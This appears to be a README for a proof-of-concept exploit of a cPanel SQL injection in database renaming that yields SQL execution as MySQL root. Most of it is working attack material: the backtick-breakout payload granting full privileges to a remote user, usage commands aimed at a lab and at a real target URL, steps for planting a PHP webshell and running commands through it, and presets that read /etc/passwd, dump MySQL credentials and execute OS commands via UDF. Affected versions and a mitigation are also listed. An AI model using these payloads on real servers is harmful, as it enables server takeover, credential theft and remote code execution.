
Security research project
CVSS 4.0: 9.4 (Critical) | CWE-89: SQL Injection | NVD
Authenticated cPanel user → arbitrary SQL as MySQL root via database rename.
cPanel improperly preserves the user's session sql_mode (ANSI_QUOTES) when
executing rename operations as root — a backtick in the database name breaks out
of the identifier and injects SQL.
name: db`; GRANT ALL ON *.* TO 'rce'@'%' IDENTIFIED BY 'pwned!'; --
pip install -r requirements.txt
python3 simulate.py start # start lab (MariaDB:13306, cPanel API:18080, Apache:18081)
python3 poc.py -t http://localhost:18080 --mysql-port 13306 --payload admin-user --verify
python3 simulate.py stop
Lab mode is auto-detected — no --lab flag needed.
python3 poc.py -t https://cpanel.example.com:2083 -u user -p 'pass' \
--payload admin-user --verify
Custom SQL: --inject "GRANT ALL ON *.* TO 'x'@'%' IDENTIFIED BY 'y'"
# 1. Write shell to web root
python3 poc.py -t http://localhost:18080 --mysql-port 13306 \
--payload webshell --shell /var/www/html/shell.php
# 2. Execute commands via HTTP!
curl "http://localhost:18081/shell.php?0=id"
cPanel < 11.110.0.137, 11.118.0.71, 11.126.0.78, 11.134.0.48, 11.136.0.32; WP Squared < 11.138.1.6
Mitigation: upgrade, or revoke the MySQL feature from cPanel users.
For authorized security testing and education only.
| Preset | Effect |
|---|
admin-user (default) | Create MySQL admin user rce |
compact-admin | Short admin payload (<64 chars — fits real cPanel's name limit; verify: r/p) |
webshell | Write PHP shell via INTO OUTFILE (--shell /var/www/html/shell.php) |
read-file | Read server file via LOAD_FILE (--file /etc/passwd) |
dump-users | Dump all MySQL credentials to pwn.users |
udf-rce | OS command execution via UDF |